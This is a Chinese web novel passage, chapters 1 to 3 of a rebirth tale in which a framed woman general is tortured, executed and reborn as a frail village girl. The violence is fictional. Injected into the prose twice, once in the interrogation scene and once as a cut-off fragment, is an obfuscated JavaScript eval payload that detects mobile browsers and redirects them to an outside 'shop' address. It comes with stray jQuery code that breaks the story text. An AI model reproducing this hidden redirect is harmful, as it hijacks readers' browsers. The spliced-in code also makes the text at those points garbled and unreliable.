《重生之大兴女将》 1. 叛贼 大兴王朝永顺十一年末,深冬。 晁都城里正下着一场大雪,漫天雪花纷纷扬扬从天而落,将广袤的中北大地裹上了一层纯洁银装。 天还未明时,便有众多百姓穿着臃肿棉服挤在街道小巷里,天气虽寒冷,可他们脸上皆是喜气洋洋。 只因半月前,从文州城回来的斥候,挥着马鞭、扬着捷报高呼,“慕将军率两千精兵死守映月关,全歼敌军狡攻主力,击退北漠驻边境残营!” 而今日,就是慕将军班师回都的日子。 人群里还有人在散播慕将军的杀敌事迹,天边就已经传来军乐队击鼓的声响。 城外,浩荡大军纪律严明的在原地搭营驻扎。 城内,赤红镶黄军旗飘扬在风雪中,数十将士身着银衣铁甲、坐骑赤发黑鬓骏马朝他们阔步走来。 伴着军乐,百姓齐齐俯身跪地高喊,“恭迎慕将军凯旋!” 有胆大的孩子趁着军马走过,悄悄抬头瞻仰将军风姿,张望时却瞧见队伍后竟还跟着一辆狭小囚车。 天寒地冻,可那犯人只着了一层单衣,露出的纤细臂膊连带几条已经被冻住的猩红伤痕叫人光是看着都倍觉心惊。 迎军回城的使臣看了一眼跟在后面的囚车,又看向前面昂首踏着马镫、目不斜视的慕小将军,心中似有些不安。 宫门外,将士止步,慕将军摘盔卸甲后嘱咐了下属几句话才带着一位亲信被使臣引入宫。 归来的军马在宫墙外兵分两路,一路被都城护卫请进了都护司暂歇,一路则拖着囚车钻进了兵部军狱院。 安济坊的宋思德被传唤前正在门口看热闹,他还没反应过来,自己就被两位身高力壮的狱卒架进了狱院大牢。 虽说当下正是寒冬腊月,可狱中的阴森与可怖还是让他慌得汗流满面。 狱官见吓着他了,佯呵,“无礼!竟如此对待宋大夫。” 两个狱卒抱拳,道了声得罪,在上司的挥手示意中,悄然退下。 宋思徳用袖袍蹭了蹭额上冒出的汗珠,哆嗦道,“无事无事,我这人就是不经吓,只是今日如此慌忙地唤我过来,不知所谓何事?” 狱官将他引至牢内一处暗室,道,“慕将军今日班师回都,你可知?” “方才街边巷尾都门庭若市,我自是知道的。” “那慕家军从文州城拖回了个叛国副将,你可知?” “啊?这等军中要事我若知晓,可还得了,只不过他们回城时,我与几位同仁见队伍后头拉了辆囚车,也不知……哎呀!那里蜷着的是何物?” 狱官从腰间取出钥匙打开牢门,借着廊道油火,宋思徳瞧见牢内蒲草堆里陷着一滩黑白残影。 “喏。”狱官进去在草堆里踢了一脚,啐道,“这就是那个杂种。” 这狱官也是练过拳、习过武之人,方才那一脚的力道看着也不轻,可蜷在地上的人仍旧动也不动。 宋思徳抱着药箱狐疑问,“死了?” “扔进来后我看过一眼,还有口气,慕将军亲兵将此人押解来时说他是映月关一战的叛国重犯,认罪书还未画押,万不能让他死在圣上发落前。” 方才擦下去冷汗此刻又冒了出来,宋思徳迈着沉重地步子走上前来,他将那人翻过身,又扒开眼皮仔细瞧了瞧,收回手后才看见他双手十指已经烂的看不出原状,满身的伤口也都被冻住,猩红血液在不甚明亮的火光中已然黯淡成乌黑色。 狱官问,“他还能撑多久?” 宋思徳答,“撑一天算一天。” 狱官说,“若是他死在圣上发落前,那你我也必活不过第二天。” 宋思徳叹了口气,“我只能尽力。” 他将手下那人的衣物用力扯开,又打开药箱,将一包银针展开搁在箱上,挑了根粗细合适的,才拂袖预备下保命针。 针尖落在左胸一寸上,他的手骤然一顿。 狱官只见他匆忙起身从廊道里端了盏油灯进来,跪在地上撕开囚犯左肩裹伤用的纱布,怔愣片刻后,才结结巴巴讶异,“这这这……” “这什么这?你把人给治死了?”狱官皱眉推开他,蹲下查看,却也被眼前的场景惊地呆在原地。 “怎么是个女子!”宋思徳指着她问,“莫不是他们抓错了?” “你闭嘴!” 狱官扯了把干草扔在女子身上,说,“人是慕家军运回来的,谁敢问是不是抓错了,你尽管全力医治,其他就当不知道。” 宋思徳略一思忖,跪在地上连忙答是。 军狱院墙外,强风蔽日、暴雪遮天。 为防风雪危及幼帝,献捷礼不得不草草结束。 慕峰青于金銮殿内受封征北大将,领黄金万两,至于他带回来的叛国战犯,监国梁相只道,“查清来龙去脉,给枉死的将士们一个交代。” 出宫后,慕峰青没有立刻回府拜见父亲,而只带了个亲信去看他的叛国旧部。 宋思徳施完针,那女子的呼吸声也重了些,狱官给她灌进了一碗稀粥,还没来得及起身,稀粥就被吐了个干净。 将洒在草上的粥米胡乱塞进她嘴里,狱官低吼,“你想死,老子可不想死!” 门外有人引着个高大的男子过来,狱卒抱拳道,“大人,有贵客到访。” 狱官闻声丢了碗站起,狱卒侧身探手将身后那人请出。 “伍大人,许久不见,您火气还是这样大。” 伍千裘抱拳行礼,“卑职久无长进,让慕将军见笑了。” 慕峰青按下他的手笑道,“同我就不必再讲这些客套话。” 伍千裘憨厚一笑,“还未恭喜将军凯旋。” “我知你公务繁忙。” 自他进来,陷在干草里的人手掌就已经攥成了拳。 慕峰青听见响动,问,“我这副将今日可好?” “回将军,她……”伍千裘顿了一下才道,“此人一息尚存。” “映月关一战我军险胜,梁相有命,询清来龙去脉,给葬送在自己人手上的众将士一个交代,他尚存的一息……应是够用的。” “可是将军,她真是您的…副将吗?” 慕峰青用食指按起伍千裘的额头,让他直视着自己,“此人在我身边蛰伏六年,直到我设计围剿才逼他败露,他本该在乱箭中死在映月关下,可心狠如他竟拿一个伴他多年的小兵做盾,佯死逃生,若不是国恨大过私仇,我早将他碎尸万段!你此时这样问我,莫非你知晓什么内情?又或是与他曾是旧识?” 伍千裘跪下叩首,惶恐道,“卑职失言,请将军赎罪!” “窥探之心人皆有之,可我还是奉劝大人一句……”慕峰青阴狠的双眸在扶起他时化作明朗笑眼,“莫要为一个将死之人,丢了自己的命。” “卑职明白。” 宋思徳在军狱院待了两日。 他每每施完针、灌完药就见狱卒将那具人不人、鬼不鬼的残躯拖去审讯。 可整整两日,审问官也未能将犯人的嘴撬开。 上头给的时限将至,所有官吏的耐心终于在第三日被全部耗尽。 当手里的人再一次被拽走时,宋思徳收拾好针具、阖住药箱,轻声叹了口气 狱卒轻车驾熟的将他挂在木字刑架上,转身对审问官抱拳,“大人,还晕死着。” “继续泼水。” “是。” “等等…小兄弟发丝还结着冰碴呢,这次就别用那么凉的水了。” “是,大人。” 哗! 翻滚着热气的沸水全部泼洒过去,那架上的人终于垂着头闷哼一声。 这声音很微弱,可审问官却已经觉察,他立刻走上前来,扯起那头混着血丝和干草的黑发喝道—— “叛贼慕初!你伙同五千叛军,于映月关外勾结外敌,意图打开中北咽喉,将文、兴、武、盛四城拱手让人,人证物证具在,你可认罪!” 耳边有碎冰和干涸血液融化的声音,慕初在氤氲的沸水热气中终于感觉到了冷。 身体在冷烫交替中打了个摆子,脑袋又在寒颤中听见有人用胸腔中的愤怒喊了声,“你可认罪?” 她张了张嘴却没有发出声音,审问官贴近了才听她从舌尖问了声,“我有何罪?” “你这贼人死到临头还在装疯卖傻!你伙同五千叛军投敌,大开映月关门,引得北漠敌军险些屠了文州城!叛国至此,你可还记得自己是个中北男儿!” “我们没有叛国……” “人证物证俱在,你还敢狡辩!” “敢问大人……物证何来?人证又何在?” “俘获你时通敌文书已在你的军靴夹层找到,至于人证,围剿你们的慕将军及两千勇士都是人证!” 慕初用力撑起脖颈,声音都在颤抖,“围剿?我那时竟还当那是我们的援军……” “休得胡言!慕大将军忠心卫国怎会是你叛贼援军!” “呵…慕大将军……”慕初冷笑,“你敢问他兵书看过几本?带兵打过几仗?山林里的猛兽和荒漠里的劲敌他又杀过几只?这一声大将军他也敢应?” 说了太多的话,她沙哑的喉咙咳嗽起来,带出了满腔满嘴的血。 “慕初!本官劝你快快认罪,莫要再逞口舌之快!” 慕初啐了一口污血,笑道,“还有大人,我本名不叫慕初,而叫慕初……” “报!慕将军到!” 审问官听见来人名号心头一惊,他抬手扶正官帽才躬身迎过去。 “卑职见过慕将军。” 慕峰青略过他径直走到了慕初面前,他看了一眼自己满面伤痕的副将,对审问官笑说, “府上三姨娘身体抱恙,我母亲托我从宫中请了太医为她诊治,故今日来晚了,真是对不住。” “将军言重,您来的正好,此犯已经交代的差不多了。” “哦?”慕峰青看着面前像是要把自己吃了的慕初,问,“都交代了些什么?” 审问官:“他说到自己的本名……” “是吗?那你的本名是?” 慕初瞪着他,咬牙不答。 见势不对,审问官嗯了一声话头一转,“兴许…兴许是卑职听错了。” 慕峰青道,“这牢里阴风不停,大人又因这苦差事连日不休,听错音也在所难免。” “是是……” “认罪书何在?” 审问官接过书吏捧来的文书,道,“在此处,将军请过目。” 与随军带回来的别无二致。 慕峰青看完后抛给他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888050|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “认了罪就快些画押吧,让大家都睡个安稳觉。” 审问官有些为难,“此贼嘴硬,今日好不容易撬开,才发现他在装疯卖傻,虽然遍体鳞伤可这脑子倒是清醒的很。” 慕峰青嗤笑一声,“脑子不清醒也不会拿自己的亲兵挡箭了。” 审问官没有搭话,只听他又问,“慕初,你那五千精兵皆因你死在了映月关,而你独活下来的滋味可还好?” “慕峰青!你不配提他们!” 一直以来冷静又或是虚弱至极的慕初终于暴怒,原先攥着的拳展开成爪,她用仅剩的力气扭动着身躯,很不能冲过去剜他的肉、饮他的血! 慕峰青却只立在原地看了一眼她的手,笑道,“我不配,那你就配吗?” 慕初闻言,呼吸一滞。 慕峰青嫌恶地拂掉她溅在自己额上的血水,转身离开,“剩下的就交给你了。” 审问官躬身,道,“卑职明白。” 阴风过堂,烛火忽闪,那五千人喷涌的鲜血和绝望悲鸣再次被风送到了她的目中耳畔,慕初仰头长啸,赤红血泪便顺着她的眼角血痂砸落下来。 筋疲力尽之际、心力交瘁之时,她终于噤了声,浑身瘫软下来。 “大人,晕过去了。” 审问官点头,道,“去吧。” 慕初的手指已经烂得不成形,狱卒将画了押的认罪书呈上去,“大人,这文书上的箕斗实在看不清。” 审问官看着那处血疙瘩,道,“走个过场平民愤罢了,只要他还活着,谁还管文书上的箕斗看不看得清。” 认罪书递上还不到两个时辰,明日菜市街口,午时问斩的旨意就送了过来。 行刑前,伍千裘揪着宋思徳连夜守着慕初,生怕惶恐至今到最后功亏一篑。 两人靠在牢内闲聊,宋思徳说,“我从医多年,还从未如此费尽心神的医一个必死之人,如此罕见的医患方技,我想了几日也不知该如何向我那小徒传授。” “既说罕见,那定不常遇到,你那徒弟岁数也还小,此事过后…就让它烂在肚子里吧。” “是,大人,我知晓了。” 伍千裘拍了拍他的肩膀,笑道,“不说这些了,天色将明,你我先想想出去后于何处畅饮才好。” “听大人吩咐便是……” 狱卒喂慕初用过断头饭后,没有多言一句,就将她铐上手脚链从狱中拖出丢进了囚车。 街头小馆门楣上还挂着喜迎将士凯旋的彩布,慕初摊在草团里偏头看着,想哭却又扯着嘴角笑了起来。 那些本该是属于她同她的那些战士们的。 咚! 一颗生鸡蛋穿过囚车木栅直直砸向她的脑袋,蛋液夹着蛋壳糊了她一头满脸。 “卖国贼慕初,你去死吧!” 一声咆哮过后,越来越多的烂菜梗和菜叶被百姓们打着弧丢过来,慕初睁着眼硬生生受着这些谩骂和折辱,不出一声。 临近刑场时,官兵才将张牙舞爪的众人挡在台下。 连日以来的审讯拷打将本就体无完肤的慕初折磨的直不起身,监斩官只得命人将她绑在木桩上才勉强跪下。 冰天雪地、阴云蔽日,日晷和漏刻都派不上用场,他正想唤人取个沙漏,余光瞧见有个裹着黑袍的男子朝这里走来。 “刑场重地,何人擅闯,你们都是死人吗,还不快快拦下……慕……” 来人挥手截了他的话、免了他的礼,径直走向跪在行刑台上的犯人。 慕初的下巴被挑起时,她低声骂了句,“慕峰青,你他娘的可真烦人。” 慕峰青笑了一声,“不亲眼看着你死,我还真怕你给我来一招偷天换日。” “将这招玩得炉火纯青的人难道不是你?”慕初啐了他一口,恨恨道,“慕峰青,你等着我吧,等着我去做厉鬼嚼烂你的身魂!” 慕峰青脸上的笑意更大了,他贴着慕初轻声道,“四妹妹,你还不知道吧,在你来时被万民唾骂那会儿,三姨娘…哦不,你娘她已经跳了城楼自尽啦,我倒好奇,你做鬼后是想先找娘还是先找我呢。” 呜咽声堵在喉咙里出不来,慕初满是恨意的双眸此刻忽然失神,她问,“你…你们逼我从军时,是否就已经设计好将我推进此种境地?” “慕初……或许我该最后唤你一声慕初情,世间有谁能未卜先知,只不过父亲那时将你名中这个‘情’字去掉时,就已将你与我们慕家的情分斩断,而你沦落至此,皆因你是个不掩锋芒又会打仗的女子,今日你若不死,那他日亡的就是慕家,所以我的好妹妹,安心上路吧,你母亲及那五千兵士,已经在前头等着你了。” “午时三刻已到,行刑!” 斩首令牌抛在刽子手脚边,慕峰青起身退场。 慕初情望着对自己砍下来的鬼头刀,脑海里突然浮现出她这可笑又短暂的一生。 少时,她想同母亲相依为命,然慕家容不下她,逼她从军。 从军后,她想驰骋沙场与战士们同生共死,可父亲和三哥又要了他们的命。 战场独活,她想为母亲和枉死的战士们报仇,奈何身子和脑袋已经一个跪向万民,一个望向苍天。 这一世,她所想所念皆未如愿,心有不甘,可命格如此,是否也只能不甘…… 2. 眠眠 慕将军班师回都带了一个犯人,百姓们在酒馆茶楼、街边摊贩聚头打听,才知晓那人就是映月关一战的叛国贼。 囚车游街时,在街头巷尾拎着烂菜叶子看热闹的人并不比迎军凯旋那日少。 大家都挤在马车碾轮旁,边走边扔、边对着车中贼人指指点点,没人留心街边有个失魂妇人正朝他们的反方向走去。 那妇人穿着一身丧服,发丝梳得很整齐,就是姣好的面容上没有一丝血色。 有调皮的小孩子在奔跑嬉戏时不看路,整个人扑进了妇人怀里将她撞到在地,孩子撇着嘴生怕她破口大骂,却又瞧见妇人不发一言撑地站起,双目涣散着只向城门楼走去。 他们还当在光天化日里遇见了行尸,正是新奇时,有个小女孩看见她登上城楼,攀上了垛墙之间的垛口。 女孩的心口砰砰作响,她跑过去想要拦下妇人,却听见那妇人嘶吼一句,“我儿冤枉啊!” 而后,从城楼上纵身一跃。 她的洁白衣裙如飞鸟般从天上落进了满是积雪的污泥中,鲜红的血泊既融化了她自己也融化了身旁女孩的惊恐泪眼。 “啊!”小女孩尖叫一声,扑过去大喊—— “娘!” 床上的女子扑腾着手臂,却怎么也跑不过去。 正是惧怕与惊恐时,女孩感觉自己的双手不知被谁握住,手中的温暖竟从手掌一直窜到了她的心里。 心中一跳,一双杏眸猛地睁开。 慕初情喘着粗气缓过神,瞧见一位慈眉善目的妇人正在床边欣喜地看着自己。 “眠眠,你可算醒了,不怕不怕,娘就在这里。” 眠眠? 慕初情虽有疑惑,但面上仍然不动声色,方才的梦魇太过真实,以至于她到现在也分不清哪里才是梦境。 目光所及之处,她瞧见自己身盖的棉被是桃色被面的,颜色不深看着很舒服,慕初情动了动酸疼的胳膊才在手边摸到个暖呼呼的汤婆子。 这温度让她回忆起母亲于梦中溅在她脸上的血,她哑着嗓子,带着还未散去的哭腔问,“我这是怎么了?” 妇人用帕子擦拭着自己喜极而泣的眼泪,悔道,“你身子本就不好,前几日你兄长去城门口摆摊卖点心时,你说想同他去逛逛,我没禁住你撒娇便同意了,谁知那日有个夫人跳了城楼,正巧跌在你面前,早知如此,打死娘也不会让你出那趟门的。” 那竟不是梦! 慕初情仰躺着,眼泪颗颗落在枕边。 见女儿落泪,妇人倾过来抚摸她的额头,心疼说,“眠眠怎么哭了,是头还疼吗?等会儿你明哥回来了,娘就去喊大夫。” 雪地中的血泊就开在眼前,可她却怎么也触不到倒在里面的人,满目的泪水承接不了恨与悲痛,慕初情在呜咽中终于哭出了声。 “慕府个天煞的,撞了我的眠眠。”妇人红着眼睛切齿道,“娘只恨自己无万贯财、无缚鸡力,不能与他们争斗辩理!” 慕府这两个字如雷贯耳,慕初情迫使自己平静下来,问,“那日发生了什么?” “那妇人跌落后你还在喊人找大夫,可没过多久就有几个骑着快马的人冲过来从你身上踏过,明哥四处打听了才知道那些人是慕府家奴。” 慕初情忙问,“那个妇人呢?” “明哥拉你回来时,娘心都碎了,只记得他说那个可怜的妇人尸骨似是被慕府带走了……” 又是慕家。 他们害死了自己也害了这妇人的女儿…… 这个念头浮现在脑海时,慕初情抬手覆上了自己的颈部咽喉。 指尖的触感细腻光滑,没有创口也摸不出缝合过的痕迹,一声‘荒唐’哽在嘴边,慕初情踹开被子,挣扎起身。 “眠眠,你想找什么?娘帮你,你身上的伤还未好全乎可再不能着凉了。” 妇人将一件白色披肩盖在呆站在铜镜前的女儿身上,安慰说,“大夫说额上的伤不会留疤,身上的淤青再上几天药也会消的,我眠眠肌肤娇嫩,虽说受了大罪,可仔细养着总会养回去的。” 慕初情看着镜中那个不是自己的自己,有些难以置信。 面前的女子体态高挑纤瘦,额上敷了药裹着白纱,一双柳眉与杏眸即使不语也含着情。 翘鼻小巧、樱唇苍白,如玉面容此时看着病恹呆滞,可也让人倍感怜爱,慕初情摸了摸自己的脸颊,又被这双修长白皙、没有一丝薄茧的手指勾起了记忆。 映月关一战,她从人山尸海中爬出来后看到了一望无际的同袍残骸,她咆哮、哭喊、抱着他们的尸体怒吼狂嗥,可始终没能得到一声回应。 她想跟他们一起走,可挥剑那瞬又想起曾经一同许下的誓言。 伤则相顾;身死后,生者收尸。 于是,她撑着伤躯,用残剑与这双手于映月关下挖坑葬了五千人,在立碑时被慕家军巡逻小兵发现,捉回去领赏拷打,等恢复意识后就只听到审问官那句‘你可认罪!’ 慕初情十六岁从军,沙场征战已有六年,映月关击退北漠劲敌主力后被构陷叛国,行刑台上她早已身首异处,可今日睁开眼,面前怎会是如今这幅豆蔻少女的模样。 见她神色古怪,妇人拍拍她的肩膀问,“眠眠?” “你为何总唤我眠眠。” “我……” 妇人正欲开口,话音却被从外头院子进来的年轻男子打断。 “这是个什么世道,官家家奴撞上无辜平民,不道一声得罪送医也罢了,竟看都不看一眼就策马离去,立了军功如何?打了胜仗又如何?家奴狗眼看人低,那奴的主子定也不是什么好东西,娘,今日报官又吃了个闭门羹,我明日再去,我非得为妹妹讨个公道……妹妹?” 男子掀帘而入,看见站在铜镜面前的两人先是一惊,等回过神后才喜道,“眠眠,你醒了!身上还疼不疼?快给哥瞧瞧!” 慕初情不认得他,还没来得及后退,男子就搭着她的肩上下左右仔仔细细看了一圈,“恢复的好,爹的汤药没白炖,娘,眠眠才醒,外头也还下着雪,您怎就让她下地了?” 妇人笑了一下,道,“一醒就哭,哭完又直直跑来照铜镜,女儿家都珍惜容貌,她想看看自己,我就没拦。” “眠眠同别家的女儿可不一样,我们眠眠怎样都是好看的。”男子将慕初情扶到塌上,又端了个食盒过来,“爹今日熬了玉黍骨头汤,我一路小跑回来,这汤还烫着,眠眠来,哥喂你喝。” 汤匙里醇香的骨头汤香味近在眼前,可慕初情以前从没被人这样侍候过,她偏着头,下意识躲过。 男子端着碗的手顿在半空,他歪头问,“眠眠这是怎么了,不想喝吗?那将汤先放着,等你想喝了哥再去热?” 慕初情不答话。 男子求助般望向母亲。 “明哥你先放着,眠眠前额受了伤,今日才好了醒来,有些事好似记不得了,那汤等她饿了我再去热。” “不记得了?”明哥起身焦急道,“我去请那个崂山老道去,他前两日看诊时可没说过眠眠这伤还带副症!” 妇人呵住他,“你回来,都这么晚了就莫再扰人清梦,我瞧眠眠醒来后眉眼清明、声气十足,她今日能实实在在的站在你我面前,我已经感那老道不尽了。” “那娘您说她不记得什么了,我告诉她。” “她问,我为何总唤她眠眠。” 明哥笑了一下,看着慕初情道,“你出生时我不过两三岁,印象中你总是躺在娘怀里闭眼睡觉,我想同你玩耍,可父母亲总是拦着不让我靠近,爹见闭目恬静睡去的你很是可爱,便想着一句‘明月朗照泊桥南,愿我初暒夜好眠’,故为你起了乳名眠眠,他们想你夜夜都好眠。” 听到熟悉的名字,慕初情问了句,“我叫初情?” 母亲点点头,骄傲说,“你是初暒,你兄长是初明,日月星都落在我们老初家。” 慕初情喃喃,“初暒,日星暒,她叫初暒……” 初明看着怔愣的妹妹继续说,“到长大了我才听人说,你不是足月生的,身子打娘胎出来就虚弱,他们总说你活不过十四岁,可年关将至,今岁过去你就十五了,我们眠眠福大命大,等你好些了,哥领你出去堵住那些背后爱说人闲话的碎嘴。” 父母、兄长都很爱她,可她还是没活过十四岁。 慕初情鼻腔一酸,终于抬头看着他们,道了一声,“对不住。” 我占了你们女儿、妹妹的身体。 她含泪的双眼刺痛了深爱着初暒的两人。 母亲坐过去抱住她,初明也红着眼睛狠骂一句,“妹妹被慕家奴重伤,慕府却从叛贼斩首那日宴请至今,我去报官,可官府同慕家狼狈为奸,几日里数次将我打出衙门,官官相护至此,我不服气,为官做将都不觉对不住谁,眠眠你受了这等无妄之灾又对谁不住?你放心,明日哥还会进城为你鸣冤、讨个公道!” 慕初情:“你说慕府至今还在宴请,为何事宴请?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888051|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “慕峰青率两千精兵死守映月关,全歼敌军狡攻主力,击退北漠驻边境残营,率军回晁都后受封征北大将军,他多年驻守边疆、远离朝堂,想来是要与朝中同僚尽快熟稔,为今后的仕途铺路。” “宴请至今有几日了?” “六日!如此招摇也不怕被御史参本!” 慕初情心道,自己身亡已有六日,明日就是娘的头七,也是她的头七,她没化作厉鬼,倒化作了这家人捧在手心上的女儿。 见她不说话,初明问,“怎么了吗?” 慕初情摇摇头,道,“我饿了。” 窗外,深蓝夜空飘洒着鹅毛大雪,屋内一男一女、一老一少起身争着食盒抢着去热汤,一间小屋、两声笑语、三张相似面容聚在塌上小桌,齐看微弱油火。 城内,慕家府邸仍然灯火通明。 慕维之握着卷册在书房读书,抬头时看到唯唯诺诺恭候在一旁的慕峰青。 “人找着了?” 慕峰青背后一凉,冷汗差点流下来,他躬身道,“回父亲,还没有。” “废物!”慕维之怒吼,“众目睽睽之下死在菜市街口的两节尸体怎会六日都找不到!” “慕初户籍填的是孤儿,故斩首后官府只遣了两个收尸人抬去乱葬岗,儿那日早已派人去乱葬岗那儿等尸体,谁知一直到天黑都没见着人影。” “谁知?你亲眼看着的人都能弄丢,还有脸问谁知!” 慕峰青垂着脑袋不语,慕维之看着他这副模样恨铁不成钢道,“这么些天就一点线索也没有?” “线索倒有,只是……” “男儿没有男儿豪气的样,你有什么就直说,吞吞吐吐跟个女人似的!” “处决慕初那日,儿听说幽王车辇出过城,于是便派人前去打听,昨日得到消息称,派出去的人都…不见了,恐凶多吉少。” 慕维之起身甩开手中书卷,捂着胸口恨不能打死他,“你在外带了几年兵真当自己是个将军了?那幽王是谁你不知晓吗,怎敢派人去打探他的行踪!” “不就是一个病秧子吗,儿幼时见过他的。” “你住口!当心祸从口出!幽王乃当今圣上的堂兄,皇亲国戚身份尊贵,哪是你能随口评判的!”慕维之背着手在房中踱了几步,思索许久才冷冷开口,“我与幽王素来井水不犯河水,不要在他那处死磕,从旁的线索入手尽快找到慕初尸首,她若是被有心人夺去,那我们慕家便是有天大的功劳也难逃一死。” “是。” “军狱院的尾收完了吗?” “还剩一人。” “做的干净些。” “是,儿知晓。” 慕峰青领命后正欲转身,忽听父亲又喊住他。 “你接连六日在思朝暮宴请弟兄同僚,这么久了可结交到何人?” “回父亲,发了请帖的人都来了,可儿子觉得……他们只是来走个过场,并无实意与我结交。” 慕维之叹了口气,说,“见微知著啊,文州城没有如上头所愿顺利送出,到底是让那位同我们父子生了嫌隙。” “哼,都怪慕初这小子扰我大计!” “你要是争气,我何苦要委派个女子与你随军?若不是她,你如何能在军中站稳脚跟,我又如何能在朝中平步青云。” 慕峰青抿了抿嘴有些不服气。 慕维之又问,“明日你与哪家公子同去思朝暮?” “明日是儿宴请最后一天,共发了三家帖,到此时只回了两封。” “哦?谁人如此不将我慕家放在眼里?” “幽王,薛霁。” 慕维之听到此人名号,颔首道,“之前让你与他发帖不过是圆个礼数,朝中清流皆避他不及,我们慕家也还是少同他打交道为好。” 慕峰青不解,却又不敢再问,他在父亲的摆手示意中恭敬退下,继续遣人去寻慕初尸首。 看着儿子轻手轻脚的关上房门,慕维之立在窗前望月沉思。 与北漠映月关一战本是必败的一场仗,可是慕初情却拼死得胜,文州城本是必失的一座城,如今却被慕峰青驻军镇守,上头交代的计划被旁人搅乱,可后果却得由他们父子承担,如果当真因为此事成为朝中弃子,那才在自己手中见着富贵的慕家便只会如昙花现世。 殃及慕家前程的要事悬在心头,慕维之心中甚是不快,就在他冥想转圜之策时,忽听门外小厮低语—— “老爷,幽王回帖到。” 3. 进城 临近新岁,辗转各乡间村落的卖货郎天不亮时就开始在门外流连叫卖,伴着鸡鸣狗吠,隐约还能听到邻家伙房里有木铲砸进铁锅、热油翻滚煎炸的嘈杂声响。 曦光透过窗子落在枕边,慕初情望着光柱一夜未眠,她睁眼听着外头的响动,翻身撩开棉被蹬鞋下床。 昨夜在同初家母子的闲谈中,她知晓了自己此刻身处的地方叫柏桥村,村子位于晁都城外西南方向十二里外,村落不大,每年能产粮的田地也不多,总共不到六十户村民,都是世世代代生活在这儿的。 她前世不曾来过柏桥村,即便幼年在被放养的慕家庄子上四处晃荡时也没有听说过这里, 也不知死后为何会忽然在这村这户睁开了眼。 慕初情向前走了几步,用食指轻轻拨开拿枯木钉了好几层的房门。 正值‘冬闲’,初家老爹为了养家,在安南庄陈富户家的宅院里谋了个长工的活计,初明手艺好,经常会做些时兴的小点心挑进晁都城里售卖。 隔着门缝,慕初情看到初家母亲已经系上用碎布拼起来的围裙去伙房了,于是转身在房里搜寻,她记得,初明睡前曾将一套衣装交予母亲缝补。 白日里家中就只有她们两人,她必须趁着这个空档尽快去城里寻找母亲遗体。 套上整齐搁在木凳上的男装,慕初情将长发盘起并且熟练地挽了个男子发髻,趁着初家母亲蹲下捡柴火的时机,快步走出家门。 乡间小路向来都是四通八达,虽然她人生地也不熟,但幸好还识得东南西北。 出了门,慕初情没有丝毫犹豫,只定定朝着东北方向走,有路便走路,没路便爬墙,说来也是好运,约摸走了一炷香时辰,她踢开拦路的一丛干草,看到了前方的平坦官道。 正准备过去时,不远处有一阵叫骂声传来,她偏过头才瞧见,自己已然越过了柏桥村口。 听言语,来人大概是个五十出头的中年男子,未免被同村人认出,慕初情弯腰躲藏进干草中等他先走。 “臭婆娘!竟将老子的工钱全部搜刮了去,幸好老子还在房梁上藏了些私己,不然今日又得失信于不思量的姑娘们了……” 不思量? 慕初情回忆起自己前生被慕维之放养在庄子时,常偷偷混进热闹繁华的晁都城四处玩耍,那时日子虽说过的清贫,但好些达官显贵出没的酒楼茶坊她也仗着机灵带着玩伴们溜进去见识过,可即便肆意如她,到死都没有踏上过不思量的地界。 一日不思量,也攒眉千度。 不思量是男子的销金窟,也是女子的砧肉板。 孩童时,慕初情不懂女子为何要在那里被当成货品供人观赏挑选,直到长大从军后才明白世间女子多是身不由己,而那时的她前途未明、无能为力,每每路过也只能当做视而不见,实在憋屈。 抛家瞒妇逛青楼,五十男子欲不休! “我那时救不了失足女,如今还惩不了负心汉么!” 慕初情趁他走到道旁大树的秃枝下,将一块包着石头的雪球瞄着男子发髻下的后脑壳用力砸去。 “哎呦!谁在砸我!” 男子捂着吃痛的脑袋回头怒吼,可四下探寻并未瞧见一人,他掐起粘在发间的碎雪,又抬头看了看上方积着白雪的枝头,呢喃一句,“真是倒霉!” 看男子继续赶路,慕初情远远地跟在他身后。 柏桥村距离晁都城有十二里路,以往以她的脚程最多不到半个时辰就能进城,可现下这个小姑娘身体娇弱,走了一个多时辰才将将看到城门楼。 慕初情本想在城门口和揉着脑袋的同村男子搭话,以便混进城内,可现在却只能眼睁睁看着他挥着路引独自进去。 她站在路边思忖如何进城,余光瞥见另一旁官道上有一架纹饰精美奢华的马车缓缓驶来。 马车很大,前头只有一个握着缰绳的车夫驾车,慕初情听着车轮响动,判断车内大概只坐了一个人。 她蹲在官道岔口的土坡后,待马车经过此处时,双手握住后车沿吊在了舆下车轴上。 车轮滚过翻着污泥的雪地,留下一段深浅不一的车辙。 察觉车身吃重有异,驾车的车夫对车厢内低语,“主子,遇着个蹭车的小泼皮了。” 车内人像是听到了什么趣事,语气轻快,“那就捎一段吧。” 车夫低声道是,路过城外守兵时,他扬了一下手中令牌便一路畅通的拉着缰绳稳稳驶进了城中小巷。 慕初情扒在车底隐隐闻到了一股杏仁与批把叶之类止咳草药的味道,可是这一路上却并未听到车上两人有谁发咳难止,正在疑惑时,她发觉马车已经停在一处僻静小巷,过了许久无人出声也不见谁下车。 知道自己蹭车被发现,慕初情从车底钻出来后顺手用沾着泥污的脏手在脸颊和额头上抹了一把。 她站在马车后朝车内人抱拳行礼,道了一声,“多谢。” 这声音清脆却有些故作低沉,车夫见他转身走远,才说,“主子,走了。” 车内人抬手轻轻拨开窗边帷幔,看着远去小泼皮的清瘦背影,称赞道,“倒是个挺拔有礼的少年郎。” 